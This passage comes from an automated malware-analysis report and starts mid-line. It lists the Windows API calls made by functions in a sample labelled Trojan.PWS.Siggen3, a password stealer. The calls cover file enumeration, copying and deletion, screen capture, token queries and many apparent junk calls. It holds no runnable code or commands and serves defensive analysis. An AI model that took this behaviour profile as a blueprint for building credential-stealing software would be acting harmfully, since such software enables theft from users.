entVariableA,CreateMutexA,OutputDebugStringA,ReleaseMutex,CreateSemaphoreA,RegOpenKeyExA,ReleaseSemaphore,OutputDebugStringA,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,SetEnvironmentVariableA,OutputDebugStringA,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,GetLastError,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,SetEnvironmentVariableA,CreateFileMappingW,CloseHandle,GetLastError,GetLastError,CreateMutexA,SetEnvironmentVariableA,ReleaseMutex,SetEnvironmentVariableA,OutputDebugStringA,ExitProcess,CreateMutexA,GetLastError,ReleaseMutex,SetEnvironmentVariableA,CreateFileMappingW,FindCloseChangeNotification,GetLastError,FindFirstFileA,FindClose,CreateEventA,SetEvent,ResetEvent,LocalAlloc,LocalFree,OutputDebugStringA,CreateSemaphoreA,RegOpenKeyExA,ReleaseSemaphore,SetEnvironmentVariableA,LocalAlloc,LocalAlloc,StrCpyW,StrCpyW,LocalFree,LocalAlloc,CreateWaitableTimerA,CreateWaitableTimerA,SetEnvironmentVariableA,SetEnvironmentVariableA,CancelWaitableTimer,SetEnvironmentVariableA,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,RegOpenKeyExA,CreateMutexA,RegOpenKeyExA,ReleaseMutex,CreateEventA,SetEvent,ResetEvent,LocalAlloc,GetLastError,LocalFree,FindFirstFileA,FindClose,CreateFileMappingW,RegOpenKeyExA,lstrlenW,CreateWaitableTimerA,CancelWaitableTimer,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,OutputDebugStringA,LocalAlloc,GetLastError,LocalFree,CreateSemaphoreA,RegOpenKeyExA,ReleaseSemaphore,ReleaseSemaphore,SetEnvironmentVariableA,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateMutexA,ReleaseMutex,SetEnvironmentVariableA,lstrlenW,LocalFree,LocalFree,StrCpyW,LocalFree,LocalAlloc,GetLastError,LocalFree,CreateWaitableTimerA,CancelWaitableTimer,GetLastError,FindF	0_2_00408CDA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00404C62 StrStrW,StrStrW,StrStrW,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,StrStrW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,StrCpyW,StrRChrW,StrRChrW,LocalAlloc,PathCombineW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,StrStrW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	0_2_00404C62
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040FC69 lstrlenW,lstrlenW,LocalAlloc,CreateMutexA,SetEnvironmentVariableA,SetEnvironmentVariableA,ReleaseMutex,LocalAlloc,RegOpenKeyExA,RegOpenKeyExA,LocalFree,CreateFileMappingW,RegOpenKeyExA,FindCloseChangeNotification,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,SetEnvironmentVariableA,CreateEventA,SetEvent,ResetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,CreateWaitableTimerA,CreateWaitableTimerA,OutputDebugStringA,LocalAlloc,GetLastError,LocalFree,SetEnvironmentVariableA,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,SetEnvironmentVariableA,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateMutexA,GetLastError,ReleaseMutex,SetEnvironmentVariableA,GlobalFree,	0_2_0040FC69
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0041046B CreateFileMappingW,CloseHandle,SetEnvironmentVariableA,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,LocalAlloc,RegOpenKeyExA,RegOpenKeyExA,LocalFree,CreateEventA,SetEvent,ResetEvent,FindFirstFileA,FindClose,CreateMutexA,CreateMutexA,ReleaseMutex,ReleaseMutex,RegOpenKeyExA,LocalAlloc,CreateMutexA,OutputDebugStringA,ReleaseMutex,OutputDebugStringA,GetLastError,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,LocalAlloc,RegOpenKeyExA,LocalFree,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,LocalAlloc,CreateFileMappingW,OutputDebugStringA,CloseHandle,CreateWaitableTimerA,CancelWaitableTimer,CreateMutexA,ReleaseMutex,OutputDebugStringA,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,SetEnvironmentVariableA,SetEnvironmentVariableA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,StrCpyW,LocalFree,	0_2_0041046B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040ACF1 FindFirstFileA,FindClose,CreateSemaphoreA,OutputDebugStringA,OutputDebugStringA,ReleaseSemaphore,GetLastError,GetLastError,CreateMutexA,ReleaseMutex,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,OutputDebugStringA,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,RegOpenKeyExA,CreateFileMappingW,CloseHandle,LocalAlloc,LocalAlloc,LocalAlloc,CreateWaitableTimerA,CancelWaitableTimer,CreateSemaphoreA,ReleaseSemaphore,FindFirstFileA,FindClose,CreateMutexA,ReleaseMutex,RegOpenKeyExA,CreateFileMappingW,OutputDebugStringA,CloseHandle,SetEnvironmentVariableA,LocalAlloc,LocalFree,RegOpenKeyExA,CreateSemaphoreA,RegOpenKeyExA,ReleaseSemaphore,GetLastError,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,RegOpenKeyExA,CreateEventA,SetEvent,StrStrW,GetLastError,OutputDebugStringA,lstrlenW,lstrlenW,StrToIntW,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateFileMappingW,SetEnvironmentVariableA,CloseHandle,CreateSemaphoreA,SetEnvironmentVariableA,ReleaseSemaphore,FindFirstFileA,FindClose,CreateMutexA,GetLastError,ReleaseMutex,SetEnvironmentVariableA,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,LocalAlloc,LocalFree,RegOpenKeyExA,GetLastError,CreateWaitableTimerA,LocalFree,LocalAlloc,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,CreateFileMappingW,CloseHandle,GetLastError,SetEnvironmentVariableA,CreateMutexA,OutputDebugStringA,ReleaseMutex,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,FindFirstFileA,FindClose,LocalAlloc,GetLastError,LocalFree,OutputDebugStringA,CreateWaitableTimerA,SetEnvironmentVariableA,SetEnvironmentVariableA,CancelWaitableTimer,SetEnvironmentVariableA,OutputDebugStringA,CreateSemaphoreA,FindFirstFileA,FindClose,CreateWaitableTimerA,CancelWaitableTimer,SetEnvironmentVariableA,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,CreateFileMappingW,GetLastError,CloseHandle,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,GetLastError,OutputDebugStringA,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,LocalFree,WideCharToMultiByte,LocalAlloc,LocalAlloc,LocalAlloc,RegOpenKeyExA,LocalFree,GetLastError,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,FindFirstFileA,FindClose,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CancelWaitableTimer,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,SetEnvironmentVariableA,CreateFileMappingW,GetLastError,CloseHandle,LocalAlloc,RegOpenKeyExA,LocalFree,OutputDebugStringA,CreateMutexA,GetLastError,ReleaseMutex,RegOpenKeyExA,GetLastError,CreateEventA,SetEvent,ResetEvent,FindFirstFileA,FindClose,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,CreateSemaphoreA,ReleaseSemaphore,GetLastError,lstrlenA,lstrcpyn,LocalFree,LocalFree,GetFileSize,LocalAlloc,RegOpenKeyExA,CreateWaitableTimerA,SetEnvir	0_2_0040ACF1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00407A7B LocalAlloc,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,LocalAlloc,LocalAlloc,StrCpyW,StrCpyW,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,	0_2_00407A7B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040FEFF OutputDebugStringA,GetLastError,lstrlenA,lstrlenA,LocalAlloc,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,CancelWaitableTimer,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,GetLastError,LocalAlloc,LocalFree,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,OutputDebugStringA,OutputDebugStringA,FindFirstFileA,FindClose,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,RegOpenKeyExA,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,OutputDebugStringA,CreateMutexA,GetLastError,ReleaseMutex,OutputDebugStringA,RegOpenKeyExA,GlobalFree,	0_2_0040FEFF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00401000 OutputDebugStringA,CreateWaitableTimerA,RegOpenKeyExA,CreateFileMappingW,FindCloseChangeNotification,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,RegOpenKeyExA,CreateWaitableTimerA,CancelWaitableTimer,GetLastError,GetLastError,LocalAlloc,RegOpenKeyExA,LocalFree,OutputDebugStringA,OutputDebugStringA,CreateWaitableTimerA,CancelWaitableTimer,CancelWaitableTimer,CreateMutexA,ReleaseMutex,GetLastError,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,GetLastError,RegOpenKeyExA,GetLastError,CreateMutexA,GetLastError,ReleaseMutex,OutputDebugStringA,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,CreateFileMappingW,OutputDebugStringA,FindCloseChangeNotification,CreateSemaphoreA,RegOpenKeyExA,ReleaseSemaphore,RegOpenKeyExA,SetEnvironmentVariableA,LoadLibraryW,CreateMutexA,ReleaseMutex,GetLastError,FindFirstFileA,FindClose,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,CreateFileMappingW,FindCloseChangeNotification,SetEnvironmentVariableA,LocalAlloc,GetLastError,LocalFree,CreateWaitableTimerA,RegOpenKeyExA,RegOpenKeyExA,CancelWaitableTimer,OutputDebugStringA,LocalAlloc,LocalFree,GetLastError,CreateSemaphoreA,ReleaseSemaphore,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,OutputDebugStringA,RegOpenKeyExA,FindFirstFileA,FindClose,CreateMutexA,OutputDebugStringA,ReleaseMutex,GetProcAddress,SetEnvironmentVariableA,LocalAlloc,LocalFree,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,GetLastError,CreateMutexA,OutputDebugStringA,RegOpenKeyExA,ReleaseMutex,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,CancelWaitableTimer,CreateFileMappingW,GetLastError,FindCloseChangeNotification,GetLastError,FindFirstFileA,FindClose,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,LocalAlloc,LocalFree,RegOpenKeyExA,RegOpenKeyExA,CreateMutexA,RegOpenKeyExA,ReleaseMutex,OutputDebugStringA,GetLastError,CreateSemaphoreA,GetLastError,ReleaseSemaphore,GetLastError,GetProcAddress,GetProcAddress,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,GetLastError,CreateMutexA,ReleaseMutex,SetEnvironmentVariableA,CreateFileMappingW,RegOpenKeyExA,FindCloseChangeNotification,SetEnvironmentVariableA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,OutputDebugStringA,LocalAlloc,LocalFree,OutputDebugStringA,OutputDebugStringA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateEventA,SetEvent,ResetEvent,OutputDebugStringA,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,SetEnvironmentVariableA,LocalAlloc,GetLastError,LocalFree,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateWaitableTim	0_2_00401000
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00411583 LocalAlloc,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CloseHandle,DeleteFileW,LocalAlloc,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,FindNextFileW,LocalFree,FindClose,	0_2_00411583
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040D804 LocalAlloc,StrCpyW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,PathCombineW,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,LocalFree,LocalFree,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	0_2_0040D804
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040EA07 OutputDebugStringA,GetLastError,RegOpenKeyExA,SetEnvironmentVariableA,SetEnvironmentVariableA,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,RegOpenKeyExA,LocalAlloc,SetEnvironmentVariableA,LocalFree,RegOpenKeyExA,CreateMutexA,ReleaseMutex,SetEnvironmentVariableA,OutputDebugStringA,RegOpenKeyExA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,GetLastError,CreateEventA,SetEvent,ResetEvent,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,SetEnvironmentVariableA,OpenMutexW,CreateMutexW,	0_2_0040EA07
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040869C LocalAlloc,LocalAlloc,LocalAlloc,PathCombineW,PathCombineW,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,ReadFile,lstrlenA,StrStrA,lstrlenA,StrStrA,LocalAlloc,FindFirstFileW,StrStrW,StrStrW,lstrlenW,lstrlenW,LocalAlloc,StrStrW,StrCpyW,LocalAlloc,PathCombineW,PathCombineW,LocalFree,FindNextFileW,FindClose,LocalFree,CloseHandle,DeleteFileW,LocalFree,DeleteFileW,LocalFree,	0_2_0040869C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040F39D CreateWaitableTimerA,RegOpenKeyExA,RegOpenKeyExA,GetLastError,CancelWaitableTimer,OutputDebugStringA,GetLastError,CreateFileMappingW,CloseHandle,GetLastError,LocalAlloc,RegOpenKeyExA,LocalFree,RegOpenKeyExA,CreateMutexA,GetLastError,ReleaseMutex,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,GetLastError,ReleaseSemaphore,OutputDebugStringA,lstrlenW,LocalAlloc,CreateMutexA,GetLastError,ReleaseMutex,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,CreateWaitableTimerA,CancelWaitableTimer,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,RegOpenKeyExA,LocalAlloc,RegOpenKeyExA,LocalFree,RegOpenKeyExA,CreateFileMappingW,CloseHandle,GetLastError,CreateEventA,SetEvent,ResetEvent,FindFirstFileA,FindClose,CreateSemaphoreA,lstrlenW,LocalAlloc,StrStrW,lstrlenW,StrCpyW,LocalFree,StrCpyW,LocalFree,	0_2_0040F39D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040C39E OutputDebugStringA,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,GetLastError,GetLastError,SetEnvironmentVariableA,LocalAlloc,OutputDebugStringA,LocalFree,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,GetLastError,FindFirstFileA,FindClose,CreateMutexA,RegOpenKeyExA,ReleaseMutex,SetEnvironmentVariableA,CreateFileMappingW,GetLastError,CloseHandle,OutputDebugStringA,FindFirstFileA,FindClose,CreateSemaphoreA,GetLastError,ReleaseSemaphore,OutputDebugStringA,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,GetLastError,LocalAlloc,lstrcmpW,LocalFree,LocalFree,	0_2_0040C39E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_004064A0 LocalAlloc,StrCpyW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,PathCombineW,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,LocalFree,LocalFree,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	0_2_004064A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_004101A4 CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,SetEnvironmentVariableA,CancelWaitableTimer,SetEnvironmentVariableA,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,GetLastError,OutputDebugStringA,GetLastError,CreateFileMappingW,FindCloseChangeNotification,GetLastError,CreateEventA,CreateEventA,SetEvent,SetEvent,LocalAlloc,CreateEventA,SetEvent,ResetEvent,CreateMutexA,ReleaseMutex,SetEnvironmentVariableA,GetLastError,OutputDebugStringA,LocalAlloc,GetLastError,LocalFree,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,CancelWaitableTimer,CreateFileMappingW,FindCloseChangeNotification,FindFirstFileA,FindClose,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,RegOpenKeyExW,RegQueryValueExW,RegCloseKey,	0_2_004101A4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00407425 RegOpenKeyExA,OutputDebugStringA,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,lstrlenW,	0_2_00407425
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040EDAB CreateFileMappingW,CloseHandle,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,SetEnvironmentVariableA,SetEnvironmentVariableA,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,SetEnvironmentVariableA,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateMutexA,ReleaseMutex,CreateEventA,FindFirstFileW,	0_2_0040EDAB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040C92D CreateWaitableTimerA,RegOpenKeyExA,OutputDebugStringA,SetEnvironmentVariableA,CancelWaitableTimer,OutputDebugStringA,OutputDebugStringA,LocalAlloc,LocalFree,GetLastError,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,RegOpenKeyExA,RegOpenKeyExA,CreateMutexA,CreateMutexA,ReleaseMutex,GetLastError,OutputDebugStringA,OutputDebugStringA,FindFirstFileA,FindClose,CreateEventA,SetEvent,ResetEvent,CreateFileMappingW,SetEnvironmentVariableA,CloseHandle,OutputDebugStringA,GetDesktopWindow,LocalAlloc,RegOpenKeyExA,LocalFree,OutputDebugStringA,GetLastError,GetLastError,FindFirstFileA,FindClose,OutputDebugStringA,SetEnvironmentVariableA,CreateMutexA,GetLastError,CreateFileMappingW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,GetLastError,LocalAlloc,LocalFree,CreateMutexA,GetLastError,LocalAlloc,GetClientRect,SetStretchBltMode,GetSystemMetrics,GetSystemMetrics,StretchBlt,SelectObject,GetObjectW,CreateMutexA,SetEnvironmentVariableA,SetEnvironmentVariableA,OutputDebugStringA,OutputDebugStringA,FindFirstFileA,FindClose,CreateFileMappingW,CloseHandle,SetEnvironmentVariableA,GetLastError,LocalAlloc,OutputDebugStringA,LocalFree,FindFirstFileA,FindClose,CreateMutexA,SetEnvironmentVariableA,CreateFileMappingW,CloseHandle,SetEnvironmentVariableA,GetLastError,LocalAlloc,CreateFileW,LocalAlloc,LocalAlloc,StrCpyW,WideCharToMultiByte,WideCharToMultiByte,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,OutputDebugStringA,CreateMutexA,LocalFree,LocalFree,DeleteObject,DeleteObject,	0_2_0040C92D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040EBB1 RegOpenKeyExA,CreateSemaphoreA,SetEnvironmentVariableA,ReleaseSemaphore,RegOpenKeyExA,RegOpenKeyExA,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,LocalAlloc,LocalFree,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,FindFirstFileA,FindClose,CreateFileMappingW,CloseHandle,OutputDebugStringA,CreateMutexA,ReleaseMutex,RegOpenKeyExA,CreateWaitableTimerA,GetLastError,GetLastError,CancelWaitableTimer,GetLastError,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,GlobalAlloc,GetTokenInformation,ConvertSidToStringSidW,lstrcmpiW,GlobalFree,	0_2_0040EBB1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040C6B4 RegOpenKeyExA,CreateSemaphoreA,OutputDebugStringA,CreateSemaphoreA,GetLastError,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,LocalAlloc,LocalFree,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,CancelWaitableTimer,FindFirstFileA,FindClose,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,GetLastError,StrStrW,StrStrW,LocalAlloc,LocalFree,CreateMutexA,SetEnvironmentVariableA,ReleaseMutex,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,lstrlenW,LocalAlloc,StrCpyW,LocalFree,	0_2_0040C6B4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00402737 FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,StrStrW,StrStrW,LocalAlloc,PathCombineW,lstrlenW,	0_2_00402737
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0041123A LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrcmpW,StrCpyW,StrCpyW,FindFirstFileW,LocalFree,LocalFree,lstrcmpW,lstrcmpW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrlenW,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalFree,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,LocalFree,FindClose,	0_2_0041123A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_004028BE FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,StrStrW,lstrlenW,LocalAlloc,PathCombineW,lstrlenW,	0_2_004028BE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_004049C1 LocalAlloc,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	0_2_004049C1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_004077E4 LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	0_2_004077E4
